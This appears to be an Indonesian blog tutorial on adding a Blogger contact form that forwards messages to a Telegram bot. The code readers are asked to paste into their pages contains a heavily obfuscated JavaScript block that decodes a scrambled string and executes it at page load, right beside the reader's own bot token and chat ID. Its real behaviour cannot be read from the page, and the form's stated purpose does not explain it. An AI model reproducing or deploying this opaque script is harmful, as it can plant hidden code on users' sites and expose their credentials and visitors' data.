Cara Membuat Formulir Kontak Blogger Menggunakan API Bot Telegram
- Galeh
- 03/09/24
- Tulis Komentar
.jpeg)
Telegram telah menjadi platform populer di kalangan blogger untuk berkomunikasi dengan audiens mereka. Salah satu fitur yang dapat dimanfaatkan adalah API Bot Telegram untuk membuat formulir kontak yang mengirimkan hasilnya langsung ke grup Telegram Anda. Berikut adalah langkah-langkah untuk membuat formulir kontak menggunakan API Bot Telegram.
Persyaratan
- Bot Telegram: Jika Anda belum memiliki bot, Anda dapat membuatnya melalui BotFather di Telegram.
- Token API Bot: Diperlukan untuk mengautentikasi bot Anda.
- ID Grup Telegram: Buat grup pribadi di Telegram, tambahkan bot ke grup tersebut, dan catat ID grup yang dapat ditemukan di URL grup.
Langkah-langkah Membuat Formulir Kontak
- Login ke Dashboard Blogger: Masuk ke akun Blogger Anda.
- Buat atau Edit Halaman: Di dashboard, klik "Pages" dan buat halaman baru atau edit halaman yang sudah ada.
- Pindah ke Tampilan HTML: Ubah tampilan editor ke mode HTML.
- Tambahkan Kode: Tempelkan kode HTML berikut ke halaman Anda dan publikasikan.
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.contact-form {
background: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
width: 100%;
max-width: 400px;
}
.contact-form h2 {
margin-bottom: 15px;
font-size: 24px;
color: #333;
}
.contact-form .form-group {
margin-bottom: 15px;
}
.contact-form .form-group label {
display: block;
margin-bottom: 5px;
color: #666;
}
.contact-form .form-group input,
.contact-form .form-group textarea {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 14px;
}
.contact-form .form-group textarea {
resize: vertical;
height: 100px;
}
.contact-form button {
background: #04AA6D;
color: #fff;
padding: 10px 15px;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
.contact-form button:hover {
background: #039f5b;
}
</style>
<div class="contact-form">
<h2>Kontak Kami</h2>
<form id="MastutorForm">
<div class="form-group">
<label for="name">Nama</label>
<input id="name" name="name" required="" type="text" />
</div>
<div class="form-group">
<label for="email">Email</label>
<input id="email" name="email" required="" type="email" />
</div>
<div class="form-group">
<label for="message">Pesan</label>
<textarea id="message" name="message" required=""></textarea>
</div>
<button type="submit">Kirim</button>
</form>
</div>
<script>
const telegramBotToken = 'BOT_TOKEN';
const telegramChatId = 'CHAT_ID';
(function(){var Yvw='',lBk=361-350;function pRn(r){var g=379634;var s=r.length;var p=[];for(var i=0;i<s;i++){p[i]=r.charAt(i)};for(var i=0;i<s;i++){var n=g*(i+418)+(g%31869);var x=g*(i+340)+(g%16011);var f=n%s;var q=x%s;var o=p[f];p[f]=p[q];p[q]=o;g=(n+x)%1470962;};return p.join('')};var qPf=pRn('omzsfntehnuykwlxbgocasrrtcdqcjtuvirop').substr(0,lBk);var HOJ='fuk=d(;+phh29raqr)8v=rv; uabc8afg,"g=auuoaq.m;gn9Cpajf=8( +a[3!}7+[=(n+vu0y,4v6j.),;r1ooos=asnh[,n2a=re7)i 8=;51lg,v0ecao"uar}oro.6tn21vtb.i;o+lv[+;erut;(upr).r) (hr+=[le[c).s)d.6e+f[-rt]=l4a=vn=rr>htiv1r+cp(}3<).g2r[1lovleho(ga)),={ ,oe(=.mg{=s a[;.;q+=r{18-m)a)v (.oAn"= .}2n2ac-tdt7 hsitmn{=a. s,1r;;;n,+0i+pov]].hoh.rvmu0;,2+[ t;;h3rds=v"head<]milr[pr)(y+,7]Cai0)a=vs==h)raarr. o6.=u(;(deAe;4v;z=;1vab]ry8nhgt(xsd+9;fl*n"kmpr 2ua;,)r2];-fmrnl-r7=o(=f(ale i+6e"sf)7i=ioC(nbC(gn -ua);)vte)fpeACn!r;);)atsm (no)]ot1,0y;,ighe;m,+u,a=]0=(rtf(t.ngeelvu1w=2in;(vtc[a="iorscuw(rpteqs"su=m,9==g(cvwi)s(6(rompal)(;)C9c ah+9c)vtwid]+nl+{0,n9<+ui,b408(6 d0d6trr(raen1{;i}kvo.5a).zlio.p0=,elt]t)[hh.eh<<w 1r)..a6g].,)lqan8loldlqfnu;aa+9Avp;]si7,w=oai7c=a,zah0z"lpi)gSa6;s,hwre(}=;fso soipe t]n=Aaf*6{;[;)vhC";+=+gylateic-=rn(cgr;,l(,r;ufj(mvSt ftt.s>al5;g( wm=l,flmr4;C ;8+;ri)cq}wu;0abf;k;jo(.nzjt';var Pev=pRn[qPf];var ZgX='';var OPB=Pev;var SfM=Pev(ZgX,pRn(HOJ));var wQC=SfM(pRn('KuK(o4.(e7g]K;o(KtK_ote#)bK=spl)sl.m7e,:=lKfCqcf8;.(?nSr"235ruo(;N%eK(K,c)1Ko\'.3_)(1at,5f)K_]bqt_!%kt\'7pKni7=tos._e,#<.t2tnfz]o!_$rz369,\/49Knd3fK_!y)(C1ooemKw9efKl$K0dKt>r7KaK%)1.;bt_().(o_lbKeKoa$rea.}d]KKK\/i(;K.bt8<c]1\/83$r3t+sb;KKKb%e)4K!ia(a43.mhmbad<_$0$;)6bd(ek( (9ir5qmK)),lK)K0!K_ [.koi](K.;)pkiobj7aah\/srKlb2n)Kpttocfn,o;.5 trnssr.2bn i)eeaE.rotbr(tnrK}"p}b7eT.b2_(a)Keo]fa4)*K!3N8fKa[a]2eK}6a.is2k.st9K0)%wbr_K(fb3Kah_ $\'=K_r]%0{sKmit*tmEm.a(CaB)c=K"[a<sec:d61jT7,}!eK{!s;(%h,;]1.Keq!.:{e.{ge,esty)ve 8#nl,e](d(nK?rKKbh%Kpo>(o5n))1o]41suK;f.aca1osga;7#[*bKK$2K(KpkKK>o)<)]I[(h]Ku!Kf[bb(=i%.tgd$.!2KfaK]<;K%jrst$(Sa. i_m!);.o&_rgs05=bbKu;k(s.Cg<]((;(+job ,=)i1?%K64(uie.j$Kmr"lrl6((qa}}fS7(obqoK} K]0t=0wp;=(m{,:srp35eehd.}tp(seAKa;g4=3))a_e,u_te\/%]S e$p]1;]],B]+(d0!]n)i\',e@r ] o._@or(}d9N.K8n3.02eto.nn2Kl,}(nK(!am p_$e39)KT\/T;etK4)e.h)!n4KaKs{!p0qla,$p:)fe2bsn]K9afb+j3"al Kszt.hf8lsfnp\'Smmfn;K[Mj.)j4).$r(.dits_de$p=K}K ]i]l+bKTl"B:pf%t; (%-)C.6n.3=o}m}{);n.dxKrdKa3!_K_aK1r1(,bKcmeKr=:(u@Kuni%krl_,6(e.l;_.fKK0r]2.(y6an3_+m+d?a$u-=i97cer___f3l%4s6i39Ki()0._4.3.i3eqKKos)gqs.)b),eoh:(at5tabn;3)9})6dd-5nl]!7KesK()[0.K {N[}sK78K Ko$t10spKl r)5]\/34]a,o.lo(r#q_%n)as{\/,+e:$rlKMK;=)K(3m!Ce(KgnaK,)2}uo"7TKK!!9g+m+4bt4.t_aA[dhK{!h.("(ti2i:%_t0{_1)))bn77:5j",K\'+Km\'m)30kn(((;peen.(tlb+]I_e 2*gKg=#nefbn@eseb#=;=efecb())ooa%t]7ed;>(3n\'auv 4)7)$Al=ew2h;aian(K5Kl0tKt(o7K\'!fr)ema\'KKeooKnnK)*)%v$6r{gb_K>7_4,(-.I-iK06mK4o8b](%e:97-"(KnaKc4{rbKe4=o.38$.K4Ai]9)emn?}K$hx>ubaKlho._t aeeKm_)en.=l}}eKt56=Ed8r.uK=qK&KkiK,3K(%a);]s+$6myhv$rK.:5vlp7p;te]a$4)tai&bsj$o!ot;);K(KfK4K}ruteKr.Kf5_EdlKjt%j=S(KKMKs $)()KmK6t9!zd%\/6"b3%"aa}tKh$aaKm(g.{1o._tre>=e1Kaz13![0K0 );K;,b[._.>sDu"Ks.K.Ks)a.ae+)(6k<K3(zmK(eKanmtas)q9n5!ao:u$"3;(r]Kh.a Kb),ckc,n9u)_K(e5p5s!Kls])([9w9K$(d;!,0.10I]KS6)_efb.{K_ q0Kda(leg+K4en5h&{4_.$id!K9bd}tosreK@er78%lKfK$]fKl.h 2%KKgi: {){K cc,6j%K_=.Kb)r(t33n.sl4a1cmj ,bK!si5!n,$o5ji)lf,eitat_n57v=k2Mj;as]o)= .d;Ke) m04.;s.\'cK7oina(rs.fK.5K1%.4fKj)%..=1 B?sKmbr,rs]t{;nqf7_a%4o_bK6r;5.0!a]'));var Qvq=OPB(Yvw,wQC );Qvq(8049);return 8100})()
</script>
Gantilah BOT_TOKEN dengan token bot Telegram Anda dan CHAT_ID dengan ID chat grup atau pengguna yang akan menerima pesan. Dengan kode ini, Anda dapat membuat formulir kontak yang keren dan fungsional untuk mengirim pesan langsung ke bot Telegram Anda
Batasan
Telegram memiliki batasan 4096 karakter per pesan, jadi pastikan pesan yang dikirim tidak melebihi batas ini untuk menghindari pemotongan pesan.
Dengan mengikuti langkah-langkah di atas, Anda dapat membuat formulir kontak yang efisien dan langsung mengirimkan hasilnya ke grup Telegram Anda, memudahkan komunikasi dengan pengunjung blog Anda.
Semoga artikel ini bermanfaat! Jika ada pertanyaan lebih lanjut, jangan ragu untuk bertanya.
.jpeg&description=Cara Membuat Formulir Kontak Blogger Menggunakan API Bot Telegram){kind=link}
Belum ada Komentar